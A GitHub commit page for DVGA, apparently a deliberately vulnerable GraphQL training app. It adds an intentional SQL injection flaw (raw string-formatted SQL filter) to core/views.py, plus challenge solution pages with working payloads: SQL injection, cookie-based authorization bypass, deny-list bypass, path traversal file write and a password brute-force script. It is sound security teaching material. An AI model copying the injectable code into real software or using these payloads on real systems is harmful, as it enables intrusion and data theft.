Skip to content

Commit

Permalink
Merge pull request #24 from dolevf/sql-injection
Browse files Browse the repository at this point in the history
Add SQL injection
  • Loading branch information
dolevf authored Mar 26, 2022
2 parents 88e4278 + e51cdc9 commit 5314143
Show file tree
Hide file tree
Showing 10 changed files with 138 additions and 99 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -52,6 +52,7 @@ DVGA supports Beginner and Expert level game modes, which will change the exploi
* Stored Cross Site Scripting
* Log spoofing / Log Injection
* HTML Injection
* SQL Injection
* **Authorization Bypass**
* GraphQL Interface Protection Bypass
* GraphQL Query Deny List Bypass
Expand Down
13 changes: 9 additions & 4 deletions core/views.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
)

from flask_graphql import GraphQLView

from sqlalchemy.sql import text
from graphene_sqlalchemy import (
SQLAlchemyObjectType
)
Expand Down Expand Up @@ -152,17 +152,22 @@ class Mutations(graphene.ObjectType):
import_paste = ImportPaste.Field()

class Query(graphene.ObjectType):
pastes = graphene.List(PasteObject, public=graphene.Boolean(), limit=graphene.Int())
pastes = graphene.List(PasteObject, public=graphene.Boolean(), limit=graphene.Int(), filter=graphene.String())
paste = graphene.Field(PasteObject, id=graphene.Int(), title=graphene.String())
system_update = graphene.String()
system_diagnostics = graphene.String(username=graphene.String(), password=graphene.String(), cmd=graphene.String())
system_health = graphene.String()
read_and_burn = graphene.Field(PasteObject, id=graphene.Int())

def resolve_pastes(self, info, public=False, limit=1000):
def resolve_pastes(self, info, public=False, limit=1000, filter=None):
query = PasteObject.get_query(info)
Audit.create_audit_entry(info)
return query.filter_by(public=public, burn=False).order_by(Paste.id.desc()).limit(limit)
result = query.filter_by(public=public, burn=False)

if filter:
result = result.filter(text("title = '%s' or content = '%s'" % (filter, filter)))

return result.order_by(Paste.id.desc())

def resolve_paste(self, info, id=None, title=None):
query = PasteObject.get_query(info)
Expand Down
4 changes: 3 additions & 1 deletion templates/partials/solutions/solution_14.html
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,9 @@ <h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-inj-html')
# Create New Paste allows inserting HTML tags
mutation {
createPaste(title:"&lt;h1&gt;hello!&lt;/h1&gt;", content:"zzzz", public:true) {
pasteId
pastes {
id
}
}
}

Expand Down
34 changes: 15 additions & 19 deletions templates/partials/solutions/solution_15.html
Original file line number Diff line number Diff line change
@@ -1,32 +1,28 @@
<!-- Start -->
<h3 style="color:purple" id="bypassauthz-igql"><b>Authorization Bypass :: GraphQL Interface Protection Bypass</b></h3>
<h3 style="color:purple" id="inj-sql"><b>Injection :: SQL Injection</b></h3>
<hr />
<h5>Problem Statement</h5>
<p>
GraphiQL is available at the path <code>/graphiql</code> with a poorly implemented authorization check.
Pastes can be filtered using the <code>filter</code> parameter and it allows sending raw strings as query filters which are prone to SQL injections.
</p>
<h5>Resources</h5>
<ul>
<li>
<a href="https://cwe.mitre.org/data/definitions/639.html" target="_blank">
<i class="fa fa-newspaper"></i> CWE-639 - Authorization Bypass Through User-Controlled Key
<a href="https://portswigger.net/support/using-burp-to-detect-sql-injection-flaws" target="_blank">
<i class="fa fa-newspaper"></i> PortSwigger - SQL Injection
</a>
</li>
</ul>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-brokenauthz-igql')">Show</button></h5>
<div id="sol-brokenauthz-igql" style="display:none">
<pre class="bash">
# Beginner mode

# Cookie 'env' stores a string with an instruction to disable graphiql. altering the value to contain graphiql:enable will bypass the protection

# Alter the env cookie to change "graphiql:disable" to "graphiql:enable" to bypass this check:
requests.post('http://host/graphiql',
json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"},
cookies={'env':'graphiql:enable'}
)

# Expert mode
# GraphiQL interface is disabled.</pre>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-inj-sql')">Show</button></h5>
<div id="sol-inj-sql" style="display:none">
<pre class="bash">
# The filter parameter of the pastes operation allows escaping the SQL command and inject a SQL payload
query {
pastes(filter:"aaa ' or 1=1--") {
content
title
}
}
</pre>
</div>
<!-- End -->
52 changes: 16 additions & 36 deletions templates/partials/solutions/solution_16.html
Original file line number Diff line number Diff line change
@@ -1,52 +1,32 @@
<!-- Start -->
<h3 style="color:purple" id="bypassauthz-denylist"><b>GraphQL Query Deny List Bypass</b></h3>
<h3 style="color:purple" id="bypassauthz-igql"><b>Authorization Bypass :: GraphQL Interface Protection Bypass</b></h3>
<hr />
<h5>Problem Statement</h5>
<p>
Creating an <b>allow-list</b> or <b>deny-list</b> for GraphQL is a common technique to prevent malicious queries from
being resolved by GraphQL.
</p>
<ul>
<li>
By defining an <b>allow-list</b>, the application server will have a "known good" queries it will allow, and
reject anything else.
</li>
<li>
By defining a <b>deny-list</b>, the application server will have a "known bad" queries it will reject, and allow
anything else.
</li>
</ul>
<p>
In general, the allow-list approach is easier to maintain and less error-prone, since we only allow certain things we
trust. It does not mean it cannot have flaws too.
</p>
<p>
The application has a deny-list mechanism implemented that attempts to reject Health queries using the
<code>systemHealth</code> query.
</p>
<p>
The problem with this mechanism is that it does not take into consideration queries can have <a href="https://graphql.org/learn/queries/#operation-name" target="_blank">operation names</a>.
GraphiQL is available at the path <code>/graphiql</code> with a poorly implemented authorization check.
</p>
<h5>Resources</h5>
<ul>
<li>
<a href="https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries-16130a324a6b/" target="_blank">
<i class="fa fa-newspaper"></i> Apollo - Securing your GraphQL From Malicious Queries
</a>
</li>
<li>
<a href="https://cwe.mitre.org/data/definitions/184.html" target="_blank">
<i class="fa fa-newspaper"></i> CWE-184: Incomplete List of Disallowed Inputs
<a href="https://cwe.mitre.org/data/definitions/639.html" target="_blank">
<i class="fa fa-newspaper"></i> CWE-639 - Authorization Bypass Through User-Controlled Key
</a>
</li>
</ul>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-brokenauthz-denylist')">Show</button></h5>
<div id="sol-brokenauthz-denylist" style="display:none">
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-brokenauthz-igql')">Show</button></h5>
<div id="sol-brokenauthz-igql" style="display:none">
<pre class="bash">
# Expert mode
# Beginner mode

# Query systemHealth directly by calling /graphql and supplying an arbitrary operation name.
# Cookie 'env' stores a string with an instruction to disable graphiql. altering the value to contain graphiql:enable will bypass the protection

requests.post('http://host/graphql', json={"query":"query BypassMe{systemHealth}"}, headers={'X-DVGA-MODE':'Expert'})</pre>
# Alter the env cookie to change "graphiql:disable" to "graphiql:enable" to bypass this check:
requests.post('http://host/graphiql',
json={"query":"query IntrospectionQuery{__schema {queryType { name } mutationType { name } subscriptionType { name }}}"},
cookies={'env':'graphiql:enable'}
)

# Expert mode
# GraphiQL interface is disabled.</pre>
</div>
<!-- End -->
53 changes: 38 additions & 15 deletions templates/partials/solutions/solution_17.html
Original file line number Diff line number Diff line change
@@ -1,29 +1,52 @@
<!-- Start -->
<h3 style="color:purple" id="misc-filewrite"><b>Miscellaneous :: Arbitrary File Write // Path Traversal</b></h3>
<h3 style="color:purple" id="bypassauthz-denylist"><b>GraphQL Query Deny List Bypass</b></h3>
<hr />
<h5>Problem Statement</h5>
<p>
The mutation <code>uploadPaste</code> allows uploading pastes from the user's computer by specifying the file along
with the filename. The pastes are then stored on the server under a dedicated folder. The <code>filename</code>
argument allows any string, effectively providing the ability to write the file to any location on the server's
filesystem by traversing folders using <code>../../</code>
Creating an <b>allow-list</b> or <b>deny-list</b> for GraphQL is a common technique to prevent malicious queries from
being resolved by GraphQL.
</p>
<ul>
<li>
By defining an <b>allow-list</b>, the application server will have a "known good" queries it will allow, and
reject anything else.
</li>
<li>
By defining a <b>deny-list</b>, the application server will have a "known bad" queries it will reject, and allow
anything else.
</li>
</ul>
<p>
In general, the allow-list approach is easier to maintain and less error-prone, since we only allow certain things we
trust. It does not mean it cannot have flaws too.
</p>
<p>
The application has a deny-list mechanism implemented that attempts to reject Health queries using the
<code>systemHealth</code> query.
</p>
<p>
The problem with this mechanism is that it does not take into consideration queries can have <a href="https://graphql.org/learn/queries/#operation-name" target="_blank">operation names</a>.
</p>
<h5>Resources</h5>
<ul>
<li>
<a href="https://owasp.org/www-community/attacks/Path_Traversal" target="_blank">
<i class="fa fa-newspaper"></i> OWASP - Path Traversal
<a href="https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries-16130a324a6b/" target="_blank">
<i class="fa fa-newspaper"></i> Apollo - Securing your GraphQL From Malicious Queries
</a>
</li>
<li>
<a href="https://cwe.mitre.org/data/definitions/184.html" target="_blank">
<i class="fa fa-newspaper"></i> CWE-184: Incomplete List of Disallowed Inputs
</a>
</li>
</ul>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-misc-filewrite')">Show</button></h5>
<div id="sol-misc-filewrite" style="display:none">
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-brokenauthz-denylist')">Show</button></h5>
<div id="sol-brokenauthz-denylist" style="display:none">
<pre class="bash">
# Traverse the filesystem and place the file where you desire.
mutation {
uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){
result
}
}</pre>
# Expert mode

# Query systemHealth directly by calling /graphql and supplying an arbitrary operation name.

requests.post('http://host/graphql', json={"query":"query BypassMe{systemHealth}"}, headers={'X-DVGA-MODE':'Expert'})</pre>
</div>
<!-- End -->
38 changes: 15 additions & 23 deletions templates/partials/solutions/solution_18.html
Original file line number Diff line number Diff line change
@@ -1,37 +1,29 @@
<!-- Start -->
<h3 style="color:purple" id="misc-weakpass"><b>Miscellaneous :: GraphQL Query Weak Password Protection</b></h3>
<h3 style="color:purple" id="misc-filewrite"><b>Miscellaneous :: Arbitrary File Write // Path Traversal</b></h3>
<hr />
<h5>Problem Statement</h5>
<p>
The query <code>systemDiagnostics</code> is an administrative functionality that allows running a subset of system
commands on the server. The query is governed by a username and password before processing the
command.
The mutation <code>uploadPaste</code> allows uploading pastes from the user's computer by specifying the file along
with the filename. The pastes are then stored on the server under a dedicated folder. The <code>filename</code>
argument allows any string, effectively providing the ability to write the file to any location on the server's
filesystem by traversing folders using <code>../../</code>
</p>
<p>
The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute
force attacks against the server.</p>
<h5>Resources</h5>
<ul>
<li>
<a href="https://cwe.mitre.org/data/definitions/307.html" target="_blank">
<i class="fa fa-newspaper"></i> CWE-307 - Improper Restriction of Excessive Authentication Attempts
<a href="https://owasp.org/www-community/attacks/Path_Traversal" target="_blank">
<i class="fa fa-newspaper"></i> OWASP - Path Traversal
</a>
</li>
</ul>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-misc-weakpass')">Show</button></h5>
<div id="sol-misc-weakpass" style="display:none">
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-misc-filewrite')">Show</button></h5>
<div id="sol-misc-filewrite" style="display:none">
<pre class="bash">
# Brute Force attack with a list of passwords:
passwordlist = ['admin123', 'pass123', 'adminadmin', '123']

for password in passwordlist:
resp = requests.post('http://host/graphql',
json = {
"query":"query {\n systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password),
"variables":None
})

if not 'errors' in resp.text:
print('Password is', password)</pre>
# Traverse the filesystem and place the file where you desire.
mutation {
uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){
result
}
}</pre>
</div>
<!-- End -->
37 changes: 37 additions & 0 deletions templates/partials/solutions/solution_19.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
<!-- Start -->
<h3 style="color:purple" id="misc-weakpass"><b>Miscellaneous :: GraphQL Query Weak Password Protection</b></h3>
<hr />
<h5>Problem Statement</h5>
<p>
The query <code>systemDiagnostics</code> is an administrative functionality that allows running a subset of system
commands on the server. The query is governed by a username and password before processing the
command.
</p>
<p>
The password is weak, and the server has no rate limiting protections. This allows attackers to easily conduct brute
force attacks against the server.</p>
<h5>Resources</h5>
<ul>
<li>
<a href="https://cwe.mitre.org/data/definitions/307.html" target="_blank">
<i class="fa fa-newspaper"></i> CWE-307 - Improper Restriction of Excessive Authentication Attempts
</a>
</li>
</ul>
<h5>Exploitation Solution <button class="reveal" onclick="reveal('sol-misc-weakpass')">Show</button></h5>
<div id="sol-misc-weakpass" style="display:none">
<pre class="bash">
# Brute Force attack with a list of passwords:
passwordlist = ['admin123', 'pass123', 'adminadmin', '123']

for password in passwordlist:
resp = requests.post('http://host/graphql',
json = {
"query":"query {\n systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password),
"variables":None
})

if not 'errors' in resp.text:
print('Password is', password)</pre>
</div>
<!-- End -->
3 changes: 3 additions & 0 deletions templates/solutions.html
Original file line number Diff line number Diff line change
Expand Up @@ -91,6 +91,9 @@ <h1 class="mt-4">Challenge Solutions</h1>
<li>
<a href="#inj-html">HTML Injection</a>
</li>
<li>
<a href="#inj-sql">SQL Injection</a>
</li>
</ul>
</li>
<li>
Expand Down
2 changes: 1 addition & 1 deletion version.py
Original file line number Diff line number Diff line change
@@ -1 +1 @@
VERSION = '1.3.3'
VERSION = '1.3.4'

0 comments on commit 5314143

Please sign in to comment.